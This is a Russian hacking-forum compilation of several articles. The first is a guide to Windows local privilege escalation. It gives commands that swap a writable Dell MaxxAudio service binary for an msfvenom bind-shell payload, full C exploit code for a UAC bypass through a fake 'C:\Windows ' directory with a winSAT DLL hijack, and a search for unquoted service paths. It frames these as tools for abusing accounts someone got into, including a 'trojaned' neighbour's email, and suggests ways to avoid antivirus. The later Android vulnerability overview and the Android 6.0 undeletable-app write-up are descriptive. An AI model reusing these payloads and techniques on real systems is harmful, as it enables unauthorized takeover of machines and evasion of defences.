Люди зачастую интересуются методами локального поднятия привилегий в Windows. Оно и понятно, сценарий достаточно широко распространенный - получил любопытный гражданин штатный доступ хоть к пользовательской учетной записи корпоративного рабочего места, хоть к удаленному RDS-серверу в рамках какой- нибудь образовательной программы, или "затроянил" пользовательскую почту на компьютере бабушки-соседки,а ручки-то чешутся - и перед настойчивым естествопытателем во весь рост встает вопрос "что делать дальше ?". К тому же, получить к тому или иному, особенно работающему в многопользовательском режиме компьютеру/серверу, пользовательский доступ куда проще, чем административный.
Техники локального повышения привилегий в Windows насчитывают как минимум более десятка видов, и далеко не всегда связаны с необходимостью корпения над отладчиков или дизассемблирования kernel-модулей, хотя компания Microsoft, безусловно, достаточно много делает для улучшения безопасности своих ОСей последние несколько лет. Однако закончим "разливаться мыслью по древу", и перейдем к конкретике. Все приведенные ниже примеры конкретных уязвимостей достаточно свежие, и присутствуют in the wild весьма широко.
Прежде всего надо заметить, что поиск векторов для локального повышения привилегий в Windows - процесс достаточно трудоёмкий, требует системного подхода и внимательности к деталям, поэтому начнем со схемы, позаимствованной из презентации сотрудника "Лаборатории Касперского" @HeirhabarovT
Одно из наиболее свежих руководств, более-менее системно описывающих процесс поиска путей повышения привилегий, здесь, и включает в себя:
Скрипт для инвентаризации можно найти здесь (он не единственный, их вообще достаточно много).
Хотя список этот далеко не полный - например, не выполняется проверка наличия файлов с параметрами автоматической установки (sysprep/unattended), нет поиска объектов GPO - однако пользоваться им в практической деятельности достаточно удобно.
Кое-что из жизни.
Типичный пример неправильного назначения разрешений при установки драйверов - уязвимость с возможностью перезаписи файла драйвера звуковых устройств MaxxAudio (maxx.com), устанавливаемый по умолчанию на некоторых ноутбуках компании Dell.
Драйвер представлен службой с именем wavessyssvc, выполняющейся с привилегями LocalSystem
Code:Copy to clipboard
sc qc wavessyssvc
...
SERVICE_NAME: wavessyssvc
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Waves Audio Services
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
однако при этом к файлу имеют доступ и локальные пользователи тоже
Code:Copy to clipboard
icacls "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe"
C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe Everyone:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
ACME\user:(I)(F)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
Напрямую файл заменить не получится - драйвер запущен - однако его можно переместить в другую локацию с новым именем
Code:Copy to clipboard
move "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe" "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.bak"
а на освободившееся место положить имеющий формат драйвера Windows payload
Code:Copy to clipboard
copy service.exe "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe"
предварительно сгенерированный Metasploit-ом
Code:Copy to clipboard
msfvenom -p windows/shell_bind_tcp LPORT=4444 -f exe-service -o service.exe
(пример взят с exploit-db)
Да, использовать этот метод "в лоб" вряд ли получится - практически
стопроцентно среагирует антивирус, и для активации нужен перезапуск слубы
(чего пользователь сделать не может), либо перезагрузка компьютера. Для
решения этих проблем есть обфускация, да и вообще использовать Metasploit для
shell тут не обязательно, ведь к рабочему месту доступ и так уже есть -
гораздо логичнее написать простейшую "обертку" драйвера, который при запуске
выполнит, например, добавление в группу "Администраторы" всех локальных
пользователей, или сменит пароль
администратора на любой желаемый.
Впрочем, не надо думать, что такими недостатками страдают исключительно продукты сторонних фирм. В конце прошлого года в механизме контроля доступа была обнаружена весьма элегантная уязвимость, связанная с подменой пути для особо доверенных файлов, повышение привилегий которых выполняется автоматически, без дополнительных запросов. Файлы при этом должны удовлетворять трем критериям - они специально сконфигурированы для автоматического повышения привилегий, правильно подписаны и исполняются из надежного каталога/директории. Основная мысль exploit-а состоит в том, чтобы заставить Windows проверять один (легальный правильный) файл, а исполнять - другой (нелегальный, с payload). На примере утилиты winsat.exe (это такое средство для цоенки производительности Windows) алгоритм эксплуатации включает следующие шаги:
- с использованием API создается "фейковый" путь для обмана проверок UAC - каталог "c:\Windows " (с символом ПРОБЕЛ в конце пути), и каталог System32 внутри него
- в этот созданный каталог заливается "неправильный" (содержащий злонамеренный код) файл winsat.exe
При запуске этого "неправильного" файла при проверке UAC в результате "нормализации" пути пробел отбрасывается, и все проверки выполняются для "правильного" файла - и действительно, он подписан, сконфигрирован для автоматического повышения привилегий и лежит по доверенному пути.
А фактически запускается - наш !
Весь код для эксплуатации укладывается в пару десятков строк и выглядит так -
Code:Copy to clipboard
#include "stdafx.h"
#include <Windows.h>
#include "resource.h"
void DropResource(const wchar_t* rsrcName, const wchar_t* filePath) {
HMODULE hMod = GetModuleHandle(NULL);
HRSRC res = FindResource(hMod, MAKEINTRESOURCE(IDR_DATA1), rsrcName);
DWORD dllSize = SizeofResource(hMod, res);
void* dllBuff = LoadResource(hMod, res);
HANDLE hDll = CreateFile(filePath, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, NULL);
DWORD sizeOut;
WriteFile(hDll, dllBuff, dllSize, &sizeOut, NULL);
CloseHandle(hDll);
}
int main()
{
_SHELLEXECUTEINFOW se = {};
//Create Mock SystemRoot Directory
CreateDirectoryW(L"\\\\?\\C:\\Windows \\", 0);
CreateDirectoryW(L"\\\\?\\C:\\Windows \\System32", 0);
CopyFileW(L"C:\\Windows\\System32\\winSAT.exe", L"\\\\?\\C:\\Windows \\System32\\winSAT.exe", false);
//Drop our dll for hijack
DropResource(L"DATA", L"\\\\?\\C:\\Windows \\System32\\WINMM.dll");
//Execute our winSAT.exe copy from fake trusted directory
se.cbSize = sizeof(_SHELLEXECUTEINFOW);
se.lpFile = L"C:\\Windows \\System32\\winSAT.exe";
se.lpParameters = L"formal";
se.nShow = SW_HIDE;
se.hwnd = NULL;
se.lpDirectory = NULL;
ShellExecuteEx(&se);
return 0;
}
(пример взят с exploit-db, а более детальный анализ уязвимости можно посмотреть тут)
Завершим этот коротенький обзор следующим занятным примером, также связанным с неправильной обработкой путей при запуске служб в Windows. Если в пути к файлу службы отсутствуют кавычки (а это часто бывает по недосмотру разработчиков или просто), то Windows будет искать исполняемый файл по всем разделенным пробелами путям типа
Code:Copy to clipboard
c:\Program.exe
c:\Program files.exe
и так далее, и, при обнаружении файла с таким именем, исполнит его.
Найти такие службы достаточно просто -
Code:Copy to clipboard
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "c:\windows\\" | findstr /i /v ""
Тему более полно раскрывает видео с последней (на текущимй момент) конференции Offzone Moscow, докладчик - сотрудник "Лаборатории Касперского" @HeirhabarovT, и, кроме методов повышения привилегий, рассказывает также и о методах обнаружения таких действий со стороны средств мониторинга вроже Sysmon. Методы обнаружения дадут внимательному зрителю массу впечатлений, и натолкнут на множество мыслей по их обходу, поэтому и видео, и презентация весьма рекомендуются к ознакомлению.
Ссылка на презентацию тут - <https://2018.offzone.moscow/report/hunting-for- privilege-escalation-in-windows-environment/>
А вот его же презентация на ZeroNights 2017, затрагивающая эту же тему, но больше акцентированная на тему защиты -
Ссылка на презентацию здесь - [https://2017.zeronights.org/wp- cont...redentials_Dumping_in_Windows_Environment.pdf](https://2017.zeronights.org/wp- content/uploads/materials/ZN17_Kheirkhabarov_Hunting_for_Credentials_Dumping_in_Windows_Environment.pdf)
Понятно, что список специалистов по преодолению защитных механизмов Windows сотрудниками "ЛК" не ограничивается - вот еще выступление и презентация с этой же конференции на тему обхода UAC (осторожно, глубокое погружение в тему)
Ссылка на презентацию здесь - <https://2017.zeronights.org/wp- content/uploads/materials/ZN17_James_Forshaw_Bypassing_UAC.pdf>
Интересующимся можно также посмотреть презентацию с Defcon 22 на тему получения хэшей других локальных (или локально залогиненных доменных) пользователей компьютера/сервера без наличия административных прав
Ссылка на презентацию здесь - [https://defcon.org/images/defcon-22...rent- User-Hashes-Without-Admin- Privileges.pdf](https://defcon.org/images/defcon-22/dc-22-presentations/Sapozhnikov/DEFCON-22-Anton- Sapozhnikov-Acquire-Current-User-Hashes-Without-Admin-Privileges.pdf)
Отдельно стоит остановиться на приемах технического противодействия, используемых опытными админами или производителями антивирусных и контрольных средств для предотвращения подобной деятельности вроде регулирующих различные виды доступа групповых политик. Вопросы защиты куда как более актуальны в больших корпоративных средах, то на отдельных пользовательских рабочих местах их практически не встретишь - и это отдельная большая тема.
P.S.:
Если в рамках данного (или отдельного) поста интересует более подробное
раскрытие темы с картинками и видео, описывающие реальные кейсы, или список
технических защитных мер со стороны админов и противодействие им со стороны
злоумышленника - пожалуйста, одобрите пост и напишите пожелания в
комментариях.
Автор: BillyBons
Подборка задач на эксплойтинг, реверсинг, анализ уязвимостей, повышения привилегий.
You must have at least 10 message(s) to view the content.
Забытые андроиды. Самые опасные уязвимости в старых версиях Android
Как известно, операционные системы разрабатываются людьми. Кое-кто, впрочем,
уверен, что Android создали рептилоиды, однако это не так: в мобильной
платформе Google на сегодняшний день обнаружено множество ошибок, допустить
которые могли только представители вида homo sapiens. Некоторые из этих багов
представляют собой полноценные уязвимости и могут использоваться как для
несанкционированного доступа к файловой системе смартфона, так и для
распространения вредоносного ПО.
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2019%2F02%2F207165%2Fimage1.png&hash=7ba5b6752f5ebc49c05f555c78d653f6)
Если верить официальной статистике Google, на сегодняшний день среди версий Android наиболее распространена Nougat — редакция мобильной платформы за номером 7.0 и 7.1 установлена в совокупности на 28,2% устройств. Вторую позицию уверенно занимает Android 8.0 и 8.1 Oreo с показателем 21,5%. На третьем месте закрепилась шестая версия Marshmallow — она работает на 21,3% девайсов. Android 5.0 и 5.1 Lollipop установлены суммарно на 17,9% устройств, а замыкает группу лидеров Android 4.4 KitKat с показателем 7,6% пользователей.
Согласно информации с сайта cvedetails.com, на сегодняшний день в Android насчитывается 2146 уязвимостей, при этом число выявленных багов начало экспоненциально расти примерно с 2014 года.
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F02%2F207165%2Fimage2.png&hash=39d0840e93f4388d71474627d25b2673)
Не так просто оценить, сколько из перечисленных устройств вовремя получили патчи безопасности, которые закрывают уязвимости, но это явно далеко не все из них. Мало того: не все уязвимости вообще оказываются закрытыми, тем более в старых версиях, официальная поддержка которых прекращена. Проблему усугубляют производители устройств, которые зачастую не торопятся выпускать обновления.
Самая первая уязвимость Android
Самая первая уязвимость Android была обнаружена еще в октябре 2008 года в
прошивке коммуникатора HTC T-Mobile G1. При просмотре веб-страниц с
определенным содержимым ошибка в ПО позволяла выполнить вредоносный код,
отслеживающий использование клавиатуры гаджета. Теоретически таким образом
можно было реализовать кейлоггер, фиксирующий нажатия кнопок, и собирать
вводимую пользователем при веб-серфинге информацию. Эта уязвимость
представляла опасность только для одной-единственной модели коммуникатора, но
само ее наличие наглядно показало: Android — не настолько безопасная и
защищенная система, как считалось ранее.
С ростом популярности операционной системы энтузиасты и исследователи
отыскивали все новые и новые баги в различных ее версиях. Безусловно, в рамках
одной статьи мы не сможем охватить все две тысячи с лишним уязвимостей,
обнаруженных за все время существования Android. Поэтому сосредоточимся только
на самых интересных и опасных из них, причем — только в актуальных на данный
момент версиях Android (тех, что сейчас еще могут встретиться в жизни).
Самым «дырявым» оказалось четвертое поколение Android, начиная с версии 4.4 KitKat. С него, пожалуй, и начнем наш обзор уязвимостей, выявленных в разное время в этой платформе.
BlueBorne
CVE:
CVE-2017-1000251,
CVE-2017-1000250,
CVE-2017-0781,
CVE-2017-0782,
CVE-2017-0785и
CVE-2017-0783
Уязвимые версии Android: 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1,
7.1.2, 8.0
Для эксплуатации требуется: атакующий должен находиться на расстоянии не
более десяти метров от уязвимого устройства, а на уязвимом устройстве должен
быть включен Bluetooth
Возможный результат: выполнение произвольного кода с привилегиями ядра
системы, утечка данных
Это не отдельная уязвимость, а целый набор ошибок в стеке Bluetooth современных операционных систем, среди которых числится и Android. Серьезные баги содержатся в коде системной функции l2cap_parse_conf_rsp ядра Linux, причем их можно обнаружить во всех версиях ядра, начиная с 3.3. Если в системе включена защита от переполнения стека CONFIG_CC_STACKPROTECTOR, их использование приводит к возникновению критической ошибки в работе ядра.
Уязвимость CVE-2017-1000251 выявлена в модуле ядра под названием L2CAP, который отвечает за работу стека протокола Bluetooth. Еще одна уязвимость в стеке этого протокола получила обозначение CVE-2017-0783. Если на атакуемом девайсе включена подсистема Bluetooth, с их помощью можно удаленно передать на него специальным образом сформированные пакеты информации. Такие пакеты могут содержать вредоносный код, который выполнится в Android с привилегиями ядра системы. При этом для реализации атаки не потребуется предварительно сопрягать устройства или включать на них режим обнаружения. Достаточно, чтобы атакующий находился на расстоянии не более десяти метров от уязвимого устройства.
Поскольку взаимодействующие с протоколом Bluetooth компоненты ОС по умолчанию имеют высокие системные привилегии, эксплуатация этих уязвимостей теоретически позволяет получить полный контроль над атакуемым смартфоном и планшетом, включая доступ к хранящимся на устройстве данным, подключенным сетям и файловой системе. Также с помощью BlueBorne технически можно реализовывать атаки типа man-in-the-middle.
К BlueBorne также относят уязвимость CVE-2017-1000250 в стеке BlueZ Linux-реализации протокола Service Discovery Protocol (SDP). Эксплуатация уязвимости CVE-2017-1000250может привести к утечке данных. Уязвимости CVE-2017-0781, CVE-2017-0782 и CVE-2017-0785 относятся к самой ОС Android, при этом с помощью первых двух вредоносное приложение может получить в системе привилегии ядра, а последняя позволяет реализовать утечку данных.
Для устранения уязвимостей BlueBorne 9 сентября 2017 года компания Google выпустила обновление безопасности. Также они не страшны устройствам, на которых используется режим Bluetooth Low Energy.
Extra Field
CVE: нет
Уязвимые версии Android: 2.3, 4.0, 4.1, 4.2, 4.3, 4.4
Для эксплуатации требуется: модифицированное приложение
Возможный результат: выполнение произвольного кода
Все приложения для Android распространяются в формате .APK и представляют собой ZIP-архив с тем отличием, что они имеют специальную цифровую подпись. Внутри находятся необходимые для работы компоненты, которые в процессе установки приложения извлекаются, а их контрольные суммы проверяются по эталонным значениям. С помощью уязвимости Extra Field злоумышленник может изменить содержимое установочного пакета APK, не повредив его цифровую подпись.
Внутри архива .APK располагается файл classes.dex, в котором содержится скомпилированный код приложения и набор служебных полей. Среди них есть:
Если в поле заголовка записать исходное значение без первых трех байт, значение длины поля Extra Field также изменится, благодаря чему появляется возможность дописать туда произвольный код, например перечислить классы, используемые троянской частью приложения. После этого можно добавить в архив, помимо оригинального classes.dex, его вредоносную копию, часть кода которой будет храниться в «расширенном» поле Extra Field оригинального classes.dex. При установке программы система прочитает содержимое видоизмененных полей, и, поскольку в них перечислены классы из модифицированного classes.dex, на устройство будет установлен именно этот файл.
Таким образом, уязвимость позволяет «подсадить» троянца в любое легитимное приложение с валидной цифровой подписью, разве что размер вредоносного модуля будет ограничен максимальным размером файла classes.dex в 65 533 байт. Уязвимость была обнаружена в начале июля 2013 года и была устранена в версиях Android, выпущенных позже этой даты.
Fake ID
CVE: нет
Уязвимые версии Android: 2.2, 2.3, 4.0, 4.1, 4.2, 4.3, 4.4
Для эксплуатации требуется: приложение, подписанное специальным образом
сформированной цифровой подписью
Возможный результат: установка и запуск вредоносного приложения, утечка
данных
Эту уязвимость обнаружили в Android 2.2, и она была актуальна вплоть до версии 4.4. Ошибка, соответствующая этой уязвимости, получила внутренний номер 13678484 и в основном устранялась патчами, которые выпускали сами производители устройств.
Как уже упоминалось, все .APK-файлы в Android используют цифровую подпись. Подпись приложения может быть взаимосвязана с цифровой подписью издателя программы. Все эти подписи используют инфраструктуру открытых ключей PKI (Public Key Infrastructure). С помощью цифровой подписи операционная система определяет, какие возможности и привилегии могут быть у приложения, с какими компонентами ОС оно может взаимодействовать, какие системные функции использовать, имеет ли оно право скачивать и устанавливать обновления и так далее.
Применяемые при проверке подписи приложения цифровые сертификаты (электронные документы, в которых хранится цифровой ключ) издаются специальными удостоверяющими центрами. Если система доверяет удостоверяющему центру, она автоматически доверяет и всем изданным им сертификатам, которые использует приложение.
При проверке (валидации) цифровой подписи приложения операционная система использует открытый ключ разработчика программы. Чтобы убедиться в действительности этого ключа, требуется выполнить проверку соответствующего сертификата удостоверяющего центра. Это называется проверкой цепочки сертификатов. Уязвимость заключается в том, что в процессе установки приложения ранние версии Android не выполняли такую проверку вовсе.
В качестве практической реализации уязвимости можно привести такой пример. Если приложение подписано двумя цифровыми сертификатами: подлинным и поддельным, то при его установке будет создана цифровая подпись, использующая оба сертификата. В результате приложение сможет, например, скачивать и устанавливать вредоносные обновления, которые не будут проверяться на безопасность, если разработчик подпишет их с помощью того же недостоверного сертификата.
Janus
CVE: CVE-2017-13156
Уязвимые версии Android: 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2
Для эксплуатации требуется: модифицированное приложение
Возможный результат: установка и запуск вредоносного приложения, утечка
данных
Еще одна уязвимость за номером CVE-2017-13156, оперирующая с цифровыми подписями приложений Android, только актуальна она для более свежих версий операционной системы — 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1 и 7.1.2. С использованием Janus можно внедрить в .APK-архив исполняемый dex-файл, сохранив при этом оригинальную цифровую подпись приложения. Дыра кроется в системе проверки цифровой подписи на основе JAR, на смену которой в Android 7.0 пришла технология Signature Scheme v2. Тем не менее даже в седьмом и отчасти восьмом поколении Android уязвимость могут использовать старые приложения, не применяющие новый метод верификации, а также некоторые программы, загруженные не из официального каталога Google Play.
ObjectInputStream Serialization
CVE: CVE-2014-7911
Уязвимые версии Android: 1.0–4.4.4
Для эксплуатации требуется: специальное приложение или модуль приложения
Возможный результат: аварийное завершение критически важных системных
процессов
Эта уязвимость, которой подвержены все версии Android до 5.0, получила обозначение CVE-2014-7911. Ошибка кроется в механизме проверки сериализации получаемых объектов системным компонентом luni/src/main/java/java/io/ObjectInputStream.
Сериализация — это способность некоторых объектов трансформироваться в последовательность байтов, из которой они потом могут быть восстановлены в первоначальном виде (обратная процедура называется десериализацией). Процедура сериализации обычно применяется для сохранения данных или передачи их другому процессу либо трансляции по сети.
С использованием уязвимости можно выполнить десериализацию любого объекта с открытым конструктором без параметров, даже если он не отвечает критериям для сериализации. Если этот объект использует метод finalize, то в случае его удаления сборщик мусора вызовет этот метод, в результате чего исполняется хранящийся в объекте код. Таким образом можно атаковать системные процессы Android, вызывая их аварийное завершение, в том числе убивать критически важные системные процессы.
OpenSSLX509Certificate
CVE: CVE-2015-3837
Уязвимые версии Android: 4.3–5.1
Для эксплуатации требуется: специальное приложение или модуль приложения
Возможный результат: выполнение произвольного кода с системными
привилегиями
Уязвимости OpenSSLX509Certificate, она же CVE-2015-3837, подвержены версии Android с 4.3 по 5.1 включительно. С помощью этого бага можно повысить привилегии вредоносного процесса.
Ошибка в системном компоненте OpenSSLX509Certificate позволяет скомпрометировать системный процесс system_server и выполнить любой код с привилегиями system (UID 1000). Таким образом можно, например, подменить любое установленное ранее приложение (кроме компонентов ОС), сохранив вместо него другую программу.
PendingIntent
CVE: CVE-2014-8609
Уязвимые версии Android: 4.0–4.4.4
Для эксплуатации требуется: специальное приложение или модуль приложения
Возможный результат: выполнение в системе любой команды
Эта уязвимость с номером CVE-2014-8609 выявлена в Android 4.0–4.4.4. Ошибка содержится в методе addAccount файла AddAccountSettings.java (расположенного в src/com/android/settings/accounts/), который является частью подсистемы управления учетными записями приложений.
Некоторые приложения Android могут использовать учетные данные юзера для автоматической авторизации в различных интернет-сервисах. В этом случае пользователю достаточно указать свои логин и пароль один раз, после чего они регистрируются в специальном разделе системных настроек «Аккаунты», к которому приложение обращается всякий раз, когда ему необходимо пройти аутентификацию.
При создании такой учетной записи ОС передает приложению различные параметры, среди которых имеется параметр PendingIntent. Из-за ошибки в реализации вызываемого при регистрации аккаунта метода addAccount система не проверяет значения этого поля, поэтому злоумышленник может передать в PendingIntent фактически любую команду, которая будет выполнена с теми же привилегиями, что и направившее его приложение «Настройки», — системными.
Можно сформировать команду на удаление хранящихся на устройстве файлов или последовательность байтов, которая будет воспринята системой как входящее SMS- сообщение. Например, если в параметре PendingIntent будет передана команда android.intent.action.MASTER_CLEAR, Android послушно выполнит полный системный сброс с уничтожением всей хранящейся на устройстве информации.
StageFright
CVE: CVE-2015-1538
Уязвимые версии Android: 2.2–5.1.1
Для эксплуатации требуется: передать на устройство специальным образом
скомпонованный MP4-файл
Возможный результат: выполнение произвольного кода с системными
привилегиями
Эта уязвимость актуальна для всех версий Android с 2.2 до 5.1.1. Ошибка обнаружилась в системной библиотеке Stagefright, которая обеспечивает воспроизведение медиафайлов в формате MP4.
Если на уязвимое устройство удается доставить специальным образом скомпонованный MP4-файл (например, в MMS-сообщении), то из-за ошибки в обработчике SampleTable.cpp встроенный в этот файл произвольный код будет выполнен с системными привилегиями, даже если пользователь просто откроет папку, в которой такой файл хранится.
StageFright 2.0
CVE: CVE-2015-6602
Уязвимые версии Android: 4.1–5.1.1
Для эксплуатации требуется: передать на устройство специальным образом
скомпонованный MP3- или MP4-файл
Возможный результат: выполнение произвольного кода с системными
привилегиями
Несмотря на схожесть названия, эта уязвимость прячется в другом компоненте — в приложении mediaserver, точнее в обработчике тегов ID3v2. Уязвимы версии Android с 4.1 по 5.1.1.
Для использования уязвимости достаточно любым способом доставить на атакуемое устройство специальным образом модифицированный MP3- или MP4-файл. Во время чтения содержащихся в таком файле тегов ID3v2 происходит переполнение буфера, в результате чего выполняется встроенный в файл произвольный код с системными привилегиями.
SIM Toolkit
CVE: CVE-2015-3843
Уязвимые версии Android: 5.1
Для эксплуатации требуется: специальное приложение или модуль приложения
Возможный результат: перехват и подмена команд, отправляемых SIM-картой
операционной системе
В Android есть встроенный фреймворк SIM Application Toolkit (STK), который позволяет SIM-карте выполнять в системе определенный набор команд. Таким образом, в частности, формируется SIM-меню оператора связи.
Уязвимость позволяет перехватывать команды, отправляемые SIM-картой операционной системе, а также подменять их. Вредоносное приложение может передать классу com.android.stk.StkCmdReceiver специально созданный объект parcelable. Получатель не проверяет подлинность отправителя, при этом действие android.intent.action.stk.command не объявлено в манифесте как защищенное, благодаря чему можно эмулировать отсылку команд SIM-картой.
Например, если SIM-карта формирует на экране устройства сообщение с подтверждением действий пользователя, оно будет содержать кнопку ОK. Такие сообщения используются для подтверждения отправки USSD-запросов, транзакций, действий с хранящимися на карте контактами и так далее.
Вредоносное приложение может вызвать действие android.intent.action.stk.commandи отобразит на экране поверх настоящего поддельное окно, содержащее произвольный текст. При нажатии кнопки ОK вызывается метод sendResponse() с флагом true, и это событие — нажатие кнопки — передается SIM-карте, ожидающей реакции пользователя. При этом событие будет обработано так, как если бы оно поступило от настоящего диалогового окна.
ToastOverlay
CVE: CVE-2017-0752
Уязвимые версии Android: 4.0–7.1.2
Для эксплуатации требуется: приложение с разрешением
BIND_ACCESSIBILITY_SERVICE
Возможный результат: получение полного контроля над окном типа TYPE_TOAST
Эта уязвимость была обнаружена в 2017 году и затрагивает все версии Android с 4.0 по 7.1.2 включительно. Ошибку разработчики допустили в подсистеме оверлеев — окон, способных отображаться поверх других экранных форм.
Использующему уязвимость приложению достаточно объявить в манифесте только одно разрешение — BIND_ACCESSIBILITY_SERVICE. В обычных условиях для отображения окон типа TYPE_TOAST, предназначенных для показа системных уведомлений, приложению требуется отправить запрос SYSTEM_ALERT_WINDOW, однако благодаря ошибке в обработчике проверки разрешений Android AOSP вредоносная программа может обойтись без подобных формальностей. Компонент просто не выполняет проверку доступа (permission check) и операции (operation check) при обработке запроса SYSTEM_ALERT_WINDOW для TYPE_TOAST.
В результате использующее уязвимость приложение может безнаказанно рисовать свои окна поверх окон других программ и фиксировать нажатия на экран. Фактически оно получает полный контроль над окном TYPE_TOAST. Какое содержимое будет отображаться в этом окне, зависит только от фантазии вирусописателей.
Cloak and Dagger
CVE: CVE-2017-0752
Уязвимые версии Android: 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1,
7.1.2
Для эксплуатации требуется: приложение с разрешениями SYSTEM_ALERT_WINDOW
и BIND_ACCESSIBILITY_SERVICE
Возможный результат: запись нажатий клавиш (кейлоггинг), утечка данных
Эта уязвимость актуальна для Android вплоть до 7.1.2. Из-за ошибки в SDK вредоносное приложение, используя разрешения SYSTEM_ALERT_WINDOW и BIND_ACCESSIBILITY_SERVICE, может получить практически полный контроль над операционной системой и доступ к конфиденциальной информации пользователя, а также фиксировать нажатия клавиш. Обнаружившие ее эксперты даже создали про нее специальный сайт.
Вкратце суть сводится к тому, что разрешение SYSTEM_ALERT_WINDOW позволяет вывести на экран «системное окно» — View-элемент, который отобразится поверх любого другого элемента интерфейса, даже если это будет Activity из стороннего приложения. При этом перекрытые Activity об этом не узнают и продолжат работать так, как будто ничего и не произошло. Это может сделать любое приложение, если разрешение SYSTEM_ALERT_WINDOWзаявлено в его манифесте.
Разместив несколько «невидимых» системных окон друг над другом и обрабатывая нажатия на них, злоумышленник может создать кейлоггер. А с помощью разрешения BIND_ACCESSIBILITY_SERVICE вредоносная программа способна получить доступ к другим объектам ОС и хранящимся на устройстве данным.
Выводы
Как видишь, за всю историю Android было много интересного, и мы в этой статье
затронули лишь верхушку айсберга — наиболее важные, нашумевшие и зрелищные
уязвимости. Достаточно начать копать, и тебе откроются и другие маленькие и
большие возможности.
(с) Валентин Холмогоров
хакер.ру
Об истории обнаружения некоторых уязвимостей можно писать настоящие приключенческие романы, другие же выявляются случайно во время рутинного тестирования. Именно так произошло и на этот раз. В ходе работы над одним из мобильных приложений неожиданно выяснилось, что с помощью определенной последовательности действий можно установить на девайс с Android 6.0 программу, которую впоследствии невозможно будет удалить стандартным способом. Как это работает? Давай разберемся.
Ошибку в логике работы самой популярной на нашей планете мобильной операционной системы обнаружил исследователь из компании «Софт-Эксперты» Александр Свириденко. Эта ошибка позволяет при помощи нехитрых манипуляций установить на работающее под управлением Android 6.0 устройство программу, которую невозможно удалить штатными средствами ОС. А если таким приложением внезапно окажется троян, его не сумеет снести ни один антивирус.
Разумеется, о столь удивительной находке была тут же проинформирована корпорация Google. Вскоре исследователь получил официальный ответ от Android Security Team, который в целом сводился к следующему: разработчиков ОС интересуют в первую очередь уязвимости в актуальных версиях Android, для которых еще выпускаются обновления, в то время как Android 6.0 — система морально устаревшая. Поэтому парни в Google не считают обнаруженную ошибку критической и вообще не рассматривают ее как серьезный инцидент, тем более что в новых версиях Android она уже устранена.
То, что на руках у десятков тысяч пользователей все еще имеется целый зоопарк девайсов, работающих под управлением «шестерки» и потому подверженных уязвимости (что документально подтверждается статистикой, которую может получить практически каждый разработчик Android-приложений), никого не интересует.
После получения такого отклика в адрес «корпорации добра» было отослано второе письмо, содержащее более подробное описание выявленной ошибки, но ответа на это послание так и не последовало. Ну а поскольку с момента отправки в Google баг-репорта прошел ровно год, настало самое подходящее время рассказать о находках.
Теоретические принципы
В составе Android имеется важное приложение settings.apk, которое отвечает за отображение экрана системных настроек. Одна из ключевых особенностей settings.apk заключается в том, что только это приложение имеет полномочия назначать другим программам или отзывать привилегии администратора.
В Google специально установили такое жесткое ограничение, чтобы исключить получение повышенных привилегий клиентским софтом в обход операционной системы. Однако подобный подход к обеспечению безопасности подразумевает наличие как минимум одного узкого места. Какого?
Давай представим себе чисто гипотетическую ситуацию. Предположим, некий условный вредонос, просочившийся на наше устройство, умудрился получить для себя права админа. Используя эти привилегии, троян может успешно противостоять попыткам пользователя или другого ПО его удалить.
Чтобы деинсталлировать такое приложение, нужно сначала отобрать у него администраторские привилегии. Сделать это можно с использованием системного окна «Настройки», за которое отвечает settings.apk. Однако, если наш гипотетический вредонос будет всякий раз ронять этот компонент при попытке изменить его привилегии, лишить трояна «административного ресурса», а следовательно, и удалить его с устройства станет невозможно.
Единственным способом избавиться от назойливой программы в подобной ситуации станет только сброс телефона или планшета к заводским настройкам со всеми вытекающими из этой процедуры неприятными последствиями. Простая перезагрузка девайса не поможет. Звучит интересно, не правда ли? Теперь давай посмотрим, как это работает на практике.
Практическая реализация уязвимости
Как любил говорить заслуженный артист России известный иллюзионист Амаяк
Акопян, «чтобы фокус получился, нужно дунуть: если не дунуть, никакого чуда не
произойдет». В нашем случае волшебное превращение системного приложения
settings.apk в тыкву происходит на Android 6.0 в результате строго
определенной последовательности действий, подробно описанной ниже.
В первую очередь реализующему уязвимость приложению необходимо получить в
системе привилегии администратора. Добиться этого можно разными способами.
Самый простой, который и использует практически вся подобная малварь, —
отрисовка на экране назойливого системного уведомления с вежливой просьбой
выдать программе нужные права. Окошко блокирует нормальную работу устройства
до тех пор, пока юзер наконец не согласится жамкнуть на кнопку Ok, лишь бы от
него отстали. Способ тупой, но на удивление действенный.
Затем нужно включить для нашего приложения системное разрешение Draw Over и сразу же отключить его. Это разрешение позволяет программе отображать свои экранные объекты поверх окон других приложений (иногда эту настройку называют также «наложением»). Эта функция используется, в частности, для демонстрации пользователю какой-либо жизненно важной информации со стороны приложения, которую он ни в коем случае не должен пропустить, — например, рекламы. Почему последовательное включение и отключение конкретно этого разрешения приводит в Android 6.0 к описываемым нами последствиям, знает, наверное, только великий компьютерный сверхразум, который Сергей Брин и Ларри Пейдж держат взаперти в подвальных казематах центрального офиса Google.
